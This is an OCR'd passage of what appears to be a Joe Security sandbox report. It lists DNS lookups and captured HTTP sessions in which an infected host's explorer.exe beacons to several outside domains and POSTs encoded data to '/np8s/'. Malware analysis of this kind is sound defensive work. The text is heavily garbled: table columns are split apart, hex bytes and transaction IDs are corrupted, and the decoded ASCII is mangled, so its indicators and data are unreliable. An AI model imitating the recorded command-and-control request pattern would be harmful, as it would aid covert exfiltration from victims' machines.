19:06:33.254628897 CEST

May 27, 2022
19:06:33.254628897 CEST

May 27, 2022
19:06:33.254628897 CEST

May 27, 2022
19:06:33.254628897 CEST

May 27, 2022
19:06:39.180102110 CEST

May 27, 2022
19:06:39.207825899 CEST

May 27, 2022
19:06:39.368392944 CEST

May 27, 2022
19:06:57.149143934 CEST

May 27, 2022
19:06:57.149143934 CEST

May 27, 2022
19:06:57.149143934 CEST

May 27, 2022
19:06:57.149143934 CEST

May 27, 2022
19:07:02.727777004 CEST

May 27, 2022
19:07:08.163078070 CEST

May 27, 2022
19:07:08.163078070 CEST

May 27, 2022
19:07:13.885564089 CEST

May 27, 2022
19:07:19.609574080 CEST

May 27, 2022
19:07:24.734282017 CEST

May 27, 2022
19:07:30.808767080 CEST

May 27, 2022
19:07:47.282017946 CEST

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2022

Dest IP

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

Trans ID

Ox4bda

0x7876

0x7876

0x7876

OxcOa

OxcOa

OxcOa

OxcOa

OxcOa

OxcOa

OxcOa

OxcOa

Oxce36

Oxe314

0x6c1b

0x8hca

Ox8bca

Ox8hca

Ox8hca

0x6ce5

0xd465

0xd465

0x21b5

Oxa2al

0x9aff

Oxa4f4

0xb2e9

Reply Code

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name

www.gafcbo
oster.com

www.gafcbo
oster.com

www.gafcbo
oster.com

www.gafcbo
oster.com

www.vitality-
patients.online

parkingpag
e.namechea
p.com

parkingpag
e.namechea
p.com

parkingpag
e.namechea
p.com

parkingpag
e.namechea
p.com

parkingpag
e.namechea
p.com

parkingpag
e.namechea
p.com

parkingpag
e.namechea
p.com

www.angelm
atic.net

www.angelm
atic.net

www.angelm
atic.net

www.gabefa
ncher.com

comingsoon
.namebright.com

cdl-Ib-135
6093980.us-
east-1.el
b.amazonaw
s.com

cdl-Ib-135
6093980.us-
east-1.el
b.amazonaw
s.com

www.multiv
erseofbooks.com

www.haleca
milla.site

halecamilla.site

www.harmle
tt.com

www.waerma
rk.com

www.refres
hertowels.com

www.getbus
inesscredi
tandfunding.com

www.jdhwh?2
nbiw234.com

CName

none

none

none

none

parkingpage.name
cheap.com

none

none

none

comingsoon.name
bright.com

cdl-Ib-
1356093980.us-
east-
1.elb.amazonaws.
com

halecamilla.site

none

Address

none

none

none

none

198.54.117.217

198.54.117.210

198.54.117.216

198.54.117.212

198.54.117.218

198.54.117.211

198.54.117.215

none

none

none

3.208.142.147

54.160.124.18

66.96.130.20

207.174.214.35

23.19.171.24

185.53.179.172

23.231.99.207

68.66.224.33

none

Type

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)
A (IP address)
A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)
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Timestamp Source IP Dest IP
May 27, 2022 8.8.8.8 192.168.2.6
19:07:47.302505016 CEST

May 27, 2022 8.8.8.8 192.168.2.6

19:07:47.323148012 CEST

HTTP Request Dependency Graph

* www.topings33.com

e www.siberup.xyz

e www.harmlett.com

e www.brandpay.xyz

e www.tentanguang.online

e www.localbloom.online

e www.shcylzc.com

* www.getbusinesscreditandfunding.com

e www.xn--wsthof-camping-gsb.com

e www.waermark.com

* www.vitality-patients.online

HTTP Packets
Session ID Source IP Source Port
0 192.168.2.6 49757

. kBytes . .
Timestamp e Direction
May 27, 2022 122 ouT
19:04:29.941365957
CEST
May 27, 2022 122 IN
19:04:30.187968969
CEST
Session ID Source IP Source Port
1 192.168.2.6 49778

Copyright Joe Security LLC 2022

Destination IP

162.0.230.89 80

Destination IP

85.159.66.93 80

Trans ID Reply Code Name CName Address Type Class

0x58ad Name error (3) www.jdhwh?2 none none A (IP address) IN
nbiw234.com (0x0001)

0x76d0 Name error (3) www.jdhwh?2 none none A (IP address) IN

nbiw234.com (0x0001)

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?3fk4oN=+1vSQSU4VFPBNKL8EMH3DU8MRg7YeugqbcMOylP3MOivye7s4zRc3erRZEMEN43A2RNb83bcy
SA==&Eh=mhUxI| HTTP/1.1

Host: www.topings33.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 17:04:30 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3¢ 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41
70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htmI>

Destination Port Process

C:\Windows\explorer.exe
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kBytes

Timestamp A Direction
May 27, 2022 134 ouT
19:05:12.322015047
CEST
May 27, 2022 172 IN
19:05:12.426497936
CESIl
Session ID Source IP Source Port
10 192.168.2.6 49795

. kBytes . .
Tim m Direction

estamp transferred ectio

May 27, 2022 259 ouT
19:05:29.163578033
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.siberup.xyz

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.siberup.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.siberup.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 54 42 6a 6¢ 49 4a 43 7a 76 72 46 6¢ 48 44 46 71 44 41 63 48 44 58 65 58 65 4c 38 31 73
66 78 51 69 68 4b 71 32 4a 6a 49 56 68 44 33 37 6d 66 41 70 79 41 35 66 72 6e 43 32 53 52 33 4e 6d 6b 68 35 38 6a 34
50 5358 42 5a 71 6f 2d 6e 54 44 61 4b 51 64 4c 72 69 34 53 47 38 72 37 75 58 72 56 4d 57 50 66 6f 4f 64 2d 30 4a 5a
48 47 6¢ 62 58 51 39 33 67 7a 4e 43 32 41 63 59 6e 62 6f 4e 6¢ 6d 56 7e 4b 6a 49 7a 47 48 7a 59 4d 77 45 30 68 44 50 6
d 7a 35 71 65 5f 6f 66 58 69 42 56 76 79 52 5f 65 6f 57 48 55 31 41 58 37 43 35 49 4a 36 73 53 61 38 77 48 46 6f 4258 6
7 3557 5f 44 53 6f 73 69 78 6f 57 31 38 5a 54 69 6e 6e 48 73 48 34 62 51 53 54 58 4c 38 55 42 4a 6e 67 65 56 55 68 38
4356 76 45 7a 36 31 63 32 44 75 62 75 6e 36 4a 44 72 65 63 43 4a 67 64 49 4b 57 61 63 53 72 51 6¢ 34 67 6d 41 61 36
46 76 6a 47 4b 71 62 6f 30 76 62 58 57 56 55 74 66 69 64 6¢ 37 76 62 41 38 4e 6b 4a 34 44 57 5a 4b 48 59 39 62 59 46
4c 41 57 4¢ 33 70 73 50 63 51 62 75 46 4c 4f 42 67 65 67 50 58 51 70 52 34 6b 36 6d 31 6e 49 59 44 58 6b 50 68 4c 6a
4a 58 45 59 45 33 2d 74 4c 48 6d 42 79 57 31 28 63 5a 31 6a 74 69 71 31 6b 4e 56 41 71 77 48 36 76 6a 35 7a 64 78 67
46 49 6¢ 4f 49 70 5a 46 32 41 73 36 34 70 30 58 37 32 6e 36 42 64 7e 47 45 2e 00 00 00 00 00 00 00 00

Data Ascii: 3ftk4oN=TB|llJCzvrFIHDFgDAcHDXeXelL81sfxQihKq2JjlVhD37mfApyA5frnC2SR3Nmkh58j4PSXBZqo-nTDaK
QdLri4SG8r7uXrVMWPfoOd-0JZHGIbXQ93gzNC2AcYnboNImV~KjlzGHzYMwEOhDPmz5ge_ofXiBVvyR_eoWHU1AX7
C51J6sSa8wHFoBXg5W_DSosixoW18Z TinnHsH4bQSTXL8UBJIngeVUh8CVVEZz61c2Dubun6JDrecCJgdIKWacSrQl4dg
mAaBFVjGKgboOvbXW\VUTtfidI7vbABNkIADWZKHY9bYFLAWL3psPcQbuFLOBgegPXQpR4kéminlYDXKPhLjJIXEYE3-t
LHmMBYW1(cZ1jtiglkNVAqwH6Vj5zdxgFIIOIpZF2As64p0X72n6Bd~GE.

HTTP/1.1 404 Not Found

Server: nginx/1.14.1

Date: Fri, 27 May 2022 17:05:12 GMT
Content-Length: 0

Connection: close

X-Rate-Limit-Limit: 5s

X-Rate-Limit-Remaining: 9

X-Rate-Limit-Reset: 2022-05-27T17:05:17.4029455Z

Destination IP Destination Port Process
185.27.134.149 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.tentanguang.online

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.tentanguang.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.tentanguang.online/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 67 36 61 46 43 2d 36 55 39 4f 50 78 75 46 34 67 72 44 28 65 66 75 51 48 38 66 31 43 73
4543 65 72 46 77 4c 75 49 49 2d 50 59 55 73 45 64 77 68 79 53 62 4e 56 70 38 4f 72 66 6f 69 47 4c 4c 43 34 79 66 69
50 49 78 5a 76 65 35 6f 4d 64 73 44 38 5f 51 69 62 2d 45 54 79 6¢ 30 62 5a 70 48 47 78 48 41 2d 71 37 55 66 43 67 6C
46 28 36 72 4a 6b 37 70 4d 78 4b 45 64 53 74 6f 37 6a 33 57 5a 51 2d 6a 62 73 71 68 4a 72 39 68 79 48 66 63 55 4b 69
30 72 6b 73 49 34 4a 70 5a 4f 7a 64 6b 6f 50 66 66 48 62 55 38 34 67 6d 38 35 62 78 55 42 55 35 47 55 69 68 54 42 36
66 4b 6¢ 58 55 36 4a 46 77 67 79 44 44 76 61 35 6d 66 54 74 7a 4d 76 70 5f 79 56 67 59 44 4b 53 53 65 47 44 6f 34 74
357152 64 43 38 6d 37 4d 39 42 48 53 32 78 2d 5a 53 71 43 66 50 33 34 38 56 4f 61 65 33 71 32 66 41 6d 6d 78 57 68
49 6d 44 78 32 4a 61 6b 44 6f 48 63 6f 6e 66 41 62 32 37 44 30 54 44 42 44 78 64 71 72 65 4d 52 57 28 6f 65 4e 62 68 6f
6¢ 36 30 74 6¢ 33 72 45 71 42 6e 50 33 5a 6f 6a 2d 6a 6d 65 64 30 4e 50 70 58 71 44 62 6d 62 31 34 4d 79 59 70 45 4d
6b 4f 41 6f 35 4d 55 78 30 77 77 5f 77 72 78 6d 66 73 28 33 6a 59 71 36 70 46 7a 66 57 6a 32 41 4f 5a 72 51 32 44 72 4c
7852 59 4c 4e 64 71 4b 53 62 42 47 6e 2d 58 53 71 4f 67 57 52 50 33 4d 30 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=g6aFC-6U90PxuF4grD(efuQH8f1CsECerFwLull-PYUsEdwhySbNVp8OrfoiGLLC4yfiPIxZve50MdsD8
_Qib-ETylObZpHGxHA-q7UfCgIF(6rJk7pMxKEdSto7j3WZQ-jbsghJrhyHfcUKiOrksl4JpZOzdkoPffHbU84gm8
5bxUBU5GUIhTB6fKIXUBJFwgyDDvasmfTtzMvp_yVgYDKSSeGDo4t5qRAdC8m7MIBHS2x-ZSqCfP348V0ae3q2fAmmx
WhImDx2JakDoHconfAb27D0TDBDxdgreMRW(oeNbhol60tI3rEqBnP3Zoj-jmedONPpXgDbmb14MyYpEMkOA0SMUXO
ww_wrxmfs(3jYq6pFzfWj2A0ZrQ2DrLxRYLNdgKSbBGn-XSqOgWRP3MO.
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kBytes

Timestamp T Direction
May 27, 2022 260 IN
19:05:29.209687948
CEST
Session ID Source IP Source Port
11 192.168.2.6 49796
kByt:
Timestamp yes Direction
transferred
May 27, 2022 273 ouT
19:05:29.211498022
CEST

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 27 May 2022 17:05:28 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Content-Encoding: gzip

Data Raw: 32 33 31 0d Oa 1f 8b 08 00 00 00 00 00 00 03 4d 53 db 4e dc 30 10 fd 15 cb 0f 28 d1 86 dc 36 09 f1 26 5e 84
daaa 17 b5 7d 81 37 84 90 63 4f 36 81 60 a7 b6 43 58 21 fe bd Oe 97 65 25 fb c1 33 67 c6 67 8e ce d4 9d 7d 18 b6 75 a3
c4 7e 5b 1b ae fb d1 22 bb 1f 81 62 Ob 4f 36 ba 63 8f ec 2d 8a 91 d1 9c e2 88 81 09 ef Oc 46 db 3a 7a 4b 7c 94 6d db 49
72 db 2b 89 ac fa 3b 3d 34 a0 8d 27 fc €7 47 a6 11 d0 eb 9b 4a 84 1a c6 81 71 f0 22 2f Oc fd 68 17 7c 14 2c 30 08 c7 c9
74 de c8 b4 81 9f d2 7a 22 48 Oa df 7f f1 2b 0d 76 d2 12 c1 cb 51 fb 1f fO e4 f9 cf ad d2 de d2 5d b8 ee 81 a0 09 a5 4c ef
a6 07 90 d6 84 03 c8 9d ed 4e 4e Oe 91 eb f8 26 e4 4a la ab 27 6e 95 a6 f4 42 6b b6 3f 3f ce 6f Oe 8f cO 8d 8f 83 96 c6
55 5b 8b 7 5e 55 bb 5a f9 b0 a2 5e 52 6¢ ¢5 75 7b 73 8e 63 bc c1 d8 5f 2d 8f dO aa 4b ab 7b b9 73 d9 4f ca 2e fa 5b cd
a0 bf 30 03 9e ff b2 70 65 f4 53 1c dc 16 79 de 30 22 62 c2 92 24 15 19 29 4a 5e ac f3 33 22 9a 9c c4 4d 86 fd a0 39 c6
93 72 9d 65 3c 05 80 b2 e0 6b 42 b2 92 c4 39 49 {3 32 6f 32 d2 96 b1 c3 f3 63 7c d9 12 10 25 81 96 b1 35 87 86 33 92 14
99 48 21 cd 62 f7 67 4c b0 5f 09 c5 5f 15 73 da a8 fb de 8d 7d 7b 6b c1 58 8a 57 56 2d 2a 9b 41 cd 17 df 2e 43 01 5c¢ ef
47 eb f1 20 0d 58 dO f8 fe 0a 57 08 9e c6 5e 83 al 57 dd 14 a0 75 72 fa 15 f8 e9 fa Oc a5 eb 4d 9e bb 83 be ff b9 aa d0 c8
6c 47 23 87 1e 14 67 8b 3d c2 4e 43 4b 71 67 ed b8 89 a2 79 9e 43 eb 08 30 b9 9b dc 0d 95 1c 7a 09 91 1c 4b 13 9d {7
34 cld5a7 cfad 7a 77 dc 55 d7 1b 64 7a Ob 48 c3 bf 69 el 80 7e 1d 8c ea ec 87 66 a5 ef 03 34 Oe e0 94 47 20 59 33 cO
31 a2 97 68 af 26 8d 1a ad 66 03 1a 29 8d 26 07 64 87 cO dc db ee b8 cO 4c e3 a8 b4 ad a3 03 85 3a 7a 5b 99 e8 75 7f fe
0392 59 66 da 46 03 00 00 0d Oa 30 0d Oa 0d Oa

Data Ascii: 231MSNO0(6&"}7c06° CX!e%3gg}u~["bO6c-F:zK|mlir+;=4'GJq"/h|,0tz"H+vQ]LNN&J'nBk??0U["UZ Rlu{sc_-
K{sO.[0peSy0"b$)JI"3"MIre<kB91202¢c|%53H!bgL__ sHkXWV-*A.C\G XWAWurMIG#g=NCKqgyC0zK4zwUdzHi~f4G Y31
h&f)&dL:z[uYfFO

Destination IP Destination Port Process
185.27.134.149 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.tentanguang.online
Connection: close
Content-Length: 36488
Cache-Control: no-cache
Origin: http://www.tentanguang.online
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.tentanguang.online/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 33 66 6b 34 6f 4e 3d 67 36 61 46 43 37 62 52 35 36 33 6f 74 56 30 44 71 47 7a 43 51 2d 41 46 37 76 78 42 77
77544575 77 41 35 7a 59 34 70 4f 62 4a 39 41 73 63 4d 32 52 71 4f 56 6f 67 72 6a 4b 41 6d 4d 36 33 44 34 30 33 4d
50 4a 46 5a 6f 75 52 65 4d 5f 55 70 38 5a 73 6¢ 63 65 46 6d 67 31 31 62 64 73 6d 6b 78 48 56 62 71 37 63 31 43 77 78
46 38 63 6e 4a 6d 38 63 41 75 61 45 45 66 4e 34 5f 7e 6e 53 2d 51 2d 36 63 73 76 42 4a 72 4e 74 79 45 2d 73 58 4d 68
4d 6b 28 73 4a 54 4d 70 59 51 6f 4e 5a 52 50 65 50 68 62 56 41 34 6a 56 59 35 62 68 30 42 64 75 36 58 74 78 54 5a 73
76 4b 69 47 6b 7e 69 46 77 74 7a 44 42 44 67 34 55 44 54 73 44 4d 79 6¢ 4e 54 71 33 37 72 37 51 54 72 5f 44 6f 38 55
35 37 4d 59 43 39 6d 58 4f 4f 49 78 64 30 5a 51 5a 58 61 6b 64 76 32 7a 30 31 50 47 65 33 71 53 66 41 6e 73 78 56 4a
49 6d 45 4e 32 62 6f 38 44 28 48 63 76 6f 66 41 65 39 62 43 71 46 7a 46 6e 78 65 61 52 65 4e 6f 7a 28 61 65 4e 62 7a
51 6¢ 28 57 56 69 35 62 45 73 45 6e 50 74 54 49 6a 78 6a 6d 66 34 30 50 6e 35 51 64 4¢c 62 38 71 31 34 4d 51 77 70 43
38 6b 4f 5a 6f 35 43 66 52 34 67 77 37 6b 33 78 6a 37 61 38 45 50 59 71 73 39 46 7a 2d 57 6a 6d 41 4f 5a 7e 41 33 50
76 62 38 34 63 35 4d 68 76 4c 47 6a 59 57 72 6a 58 31 66 33 7a 6¢ 6b 56 6¢ 37 44 7a 30 78 68 36 55 38 31 69 73 46 69
74 6a5a 77 6b 46 39 64 6¢ 75 75 78 72 31 6f 51 51 36 56 52 68 48 53 7a 30 42 68 72 43 35 74 7a 46 28 49 65 50 65 4d
56 5a 44 31 66 6f 70 6¢ 74 57 48 71 76 43 34 73 32 57 57 6e 46 76 69 68 34 71 54 4e 64 76 7a 38 56 35 32 48 6d 42 30
75 47 35 55 79 35 50 55 6a 6b 6b 52 39 7e 65 57 51 6e 7a 37 69 45 62 32 43 70 51 4d 48 77 41 62 2d 52 4b 49 57 5a 6f
31 74 30 59 6¢ 68 6f 74 49 49 53 65 79 71 70 5a 55 6e 55 34 6b 5f 55 6e 46 46 48 56 70 52 6a 33 6d 59 74 44 6a 4c 59
4b 63 33 62 6 44 71 4b 53 34 66 68 4f 78 71 55 6¢ 36 75 76 54 70 49 32 59 78 38 6a 4b 68 65 6¢ 50 46 73 74 49 31 59
47 6b 50 68 46 79 55 44 6f 4e 4f 70 74 52 70 54 39 6f 7e 73 28 4e 6a 62 55 44 61 67 76 6e 4f 70 30 37 71 6e 79 43 7a 76
54 65 36 42 77 63 66 37 51 51 77 6d 28 47 4c 56 70 73 28 41 7a 33 43 36 4d 6d 7e 65 4b 78 7e 77 61 49 54 4d 58 36 53
49 6f 33 76 54 51 32 68 50 35 31 59 52 30 6¢ 58 5f 51 59 56 6d 44 51 63 76 4e 4a 47 69 34 77 68 61 43 31 6b 59 4e 54
28 6¢ 4d 34 7a 41 50 56 32 4f 68 75 4b 30 62 50 35 76 41 73 58 30 48 48 77 37 52 57 78 56 4c 4f 76 4e 37 36 37 35 79
4a 5a 75 6a 34 6e 33 46 6b 65 41 74 32 6d 49 76 4a 39 6f 35 55 4a 49 58 78 64 61 36 6a 31 52 35 2d 45 62 6a 33 49 76
77 5a 43 47 6¢ 78 73 7a 5a 70 48 50 4e 64 71 65 6a 6¢ 79 54 30 32 42 39 6¢ 57 73 50 56 4b 7e 56 73 61 54 43 6d 7a 51
6859 38 79 35 41 69 6¢ 55 4e 68 77 4d 42 36 4b 6a 73 50 36 31 6a 67 5a 6f 73 70 76 71 46 4f 41 31 6¢ 51 6e 41 69 70
4530 6d 36 41 74 77 43 47 55 67 6f 54 51 54 67 32 37 4e 53 32 31 39 69 41 37 6f 75 35 6b 62 65 30 55 66 55 44 63 52
70 4b 4e 44 51 4d 5f 30 69 4f 2d 41 6b 7e 7a 56 45 54 47 62 43 31 33 52 5f 42 51 7e 52 4b 44 76 6a 70 78 57 75 4a 42 4
366 34 5f 52 41 62 37 70 35 44 5f 50 4f 32 6b 28 2d 44 4d 44 63 5a 4d 54 5f 35 49 72 73 4a 31 32 72 6d 45 32 35 33 56
48 31 32 6d 73 37 62 67 58 5a 30 65 4e 36 46 5f 6d 2d 33 50 79 54 6e 64 31 41 70 55 32 66 6f 33 74 6¢ 4¢ 30 77 7a 7a
49 44 59 49 76 58 6a 76 31 6d 50 61 70 6¢ 4a 67 42 64 52 4e 6f 38 68 56 44 6b 64 67 31 4b 69 75 35 54 56 32 76 49 6¢
67 65 48 53 32 4b 46 32 59 73 37 76 63 74 6b 5a 44 6b 4d 56 46 6b 79 33 35 34 41 2d 39 52 31 75 42 4e 36 64 38 79 72
67 7a 70 4f 4f 54 59 31 6f 6f 39 4e 67 4e 30 34 44 6¢ 75 7a 63 51 65 45 62 51 4f 4a 35 53 38 5a 5a 64 42 78 76 61 62 65
6b 56 56 6e 32 65 4b 72 73 52 30 51 49 70 5a 70 62 31 53 72 48 63 44 39 41 59 54 78 6e 78 68 39 6b 7a 65 33 4b 53 62
51 6b 64 5f 41 4f 49 43 59 78 41 65 45 4a 46 33 39 65 33 68 58 34 56 57 56 76 57 76 6f 77 62 42 69 79 53 30 6¢ 42 6¢ 69
67 42 4Af 4f 54 6a 31 43 7e 52 5a 4a 6a 50 30 52 78 52 4a 5a 59 62 6b 61 49 74 52 78 50 7a 6e 36 36 59 57 49 7e 73 64
74 37 68 73 77 63 54 6a 36 38 68 70 72 28 6f 53 44 52 32 4f 75 4d 78 78 65 4a 52 35 76 44 56 6b 56 5a 32 4c 44 6d 54
67 4337 62 71 30 65 6¢ 61 75 38 70 33 50 67 5f 43 41 54 30 43 4e 57 63 6b 31 31 6b 69 46 48 75 4b 70 6¢ 4C
Data Ascii: 3fk4oN=g6aFC7bR5630tV0DqGzCQ-AF7vxBwwTEUWA5zY4pObJ9AscM2RgOVogriKAmM6E3D403MPJIF
ZouReM Up8ZslceFmallbdsmkxHVba7c1CwxF8cnJm8cAuaEEfN4 ~nS-0O-6¢csvBIrNtvE-sXMhMk(sJTMpYOoNZRP
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Timestamp LEpee Direction
transferred

May 27, 2022 298 IN

19:05:29.257039070

CEST

Session ID Source IP Source Port

12 192.168.2.6 49797

Timestamp e Direction
transferred

May 27, 2022 298 ouT

19:05:29.258995056

CEST

Copyright Joe Security LLC 2022

185.27.134.149 80

ePhbVA4jVY5bh0BdubXtxTZsvKiGk~iFwtzDBDg4UDTsDMyINTq37r7QTr_Do8U57MYCImXO0Ixd0ZQZXakdv2z01P
eegﬁsznsxVJ IMEN2bo8D(HcvofAe9bCqgFzFnxeaReNoz(aeNbzQI(WViSbESENPITIjxjmf40Pn5QdLb8q14MQwpC
8kOZ05CfR4gw7k3xj7a8EPYqs9Fz-WjmAOZ~A3Pvh84c5MhvLGjYWrjX1f3zIkVI7Dz0xh6U81isFitjZwkF9dluux
rloQQ6VRhHSz0BhrC5tzF(lePeMVZD 1fopltWHqvC4s2WWnFvih4gTNdvz8V52HmBOuG5Uy5PUjkkR9~eWQnz7iEb2
CpQMHwAb-RKIWZ01t0YlhotlISeygpZUnU4k_UnFFHVpRj3mYtDjLYKc3boDgKS4fhOxqUI6uvTpl2Yx8jKhelPFst
11YGKkPhFyUDoNOptRpT90~s(NjbUDagvnOp07gnyCzvTe6Bwcf7QQwm(GLVps(Az3C6Mm~eKx~walTMX6SIo3vTQ2h
P51YROIX_QYVmMDQcvNJIGi4whaC1kYNT(IM4zAPV20huKObP5vASXOHHW7RWXVLOVN7675yJZuj4n3FkeAt2mIv]905
UJIXxda6j1R5-Ebj3IlvwZ CGlxszZpHPNdgejly T02BOIWsPVK~VsaTCmzQhY8y5AilUNhwMB6EK|sP61jgZospvgFOA
1IQnAIpEOMBAtWCGUgoTQTg27NS219iA70u5kbe0UfUDCRpKNDQM_0iO-Ak~zZVETGbhC13R_BQ~RKDvjpxWuJBCf4_R
Ab7p5D_PO2k(-DMDcZMT_5IrsJ12rmE253VH12ms7bgXZ0eN6F_m-3PyTnd1ApU2fo3tiLOwzzIDYIvXjvimPapldg
BdRN08hVDkdg1Kiu5TV2vligeHS2KF2Ys7vctkZDkMVFky354A-9R1uBN6d8yrgzpOOTY 1009NgN04DluzcQeEbQOJ
5S58ZZdBxvabekVVn2eKrsROQIpZpb1SrHcDIAY Txnxh9kze3KSbhQkd_AOICYxAeEJF39e3hX4VWVvWvowbBiySOIBI
igBOOTj1C~RZJjJPORXRJZYbkaltRxPzn66YWI~sdt7hswcTj68hpr(0SDR20uMxxeJR5vDVkVZ2LDmTgC7bgOelau8
p3Pg_CATOCNWck11kiFHUKpILKjY4dOeikx7kk14E9K3SK87xJkMJIGpckWs5SHLHxiGo5ibWXNdU_hPCIZT9StnWfn
Rz6AHNDbGIRsjVWEOBY0OypEGCXgntVfU(Nre~TWI3bZJHfk1gmVoUJJd1p(QLN2ZR-vtqJu7fyoYcDZcu_cZoOwwmal
cLB8sGvbjZa9XHLZ_7XPkpVA2L8UWMytH36uS~LvDWwyvOpaBs_r0yj~TztDSE6uUSAKKYA8QDBds8DpDzX6mtxLOfy
1r23KXTSVbeXms2Ztv7sMczl12h5QFKP-fCjY UBEY~8IhobXRF3IuGpkj5JpiRdddCHH4GhE5B6ixu_rZeBrFXChuj
NDnLg1QZksVunfz2n3LDSMhR5ADsPIQDuFTrcMnLAFdtTer(NgltjQKQbjUchE7IIEsfrzsjABvTBb3e3tQjxuzKUi
cBE8MmIiK1dCJO8In4W3d5BcvgRgOHbShhObrEgSe TtGQz~xGMilQmufA2Lnficx77bnPh4z0wQIpKmBAX45cS(O8uR
Xsdp_O0G1iM0ekUYmLCytlg6aF1w-B851Uyq6(gMmUoUnB4Xk5AVcZzzBxYFRKpGM79fRBvkvrSuE2MXaBuvageRtZ
X0ISHt9pOrXNSzMenjUuYnHIRdy9PE44BrDtGb3ShqDpBCORtfLyiTogT1IpCyTHqOYscsHOToQ8jtmZLo3xA2i90WX
ktcfDtEbINSDXxW9IZhw88eKjA GkGGywNOAayFDNSeF8LQGXm50uDkrHasA45FMY0QO0j-WOCHL1hrMfSQuymkhl466
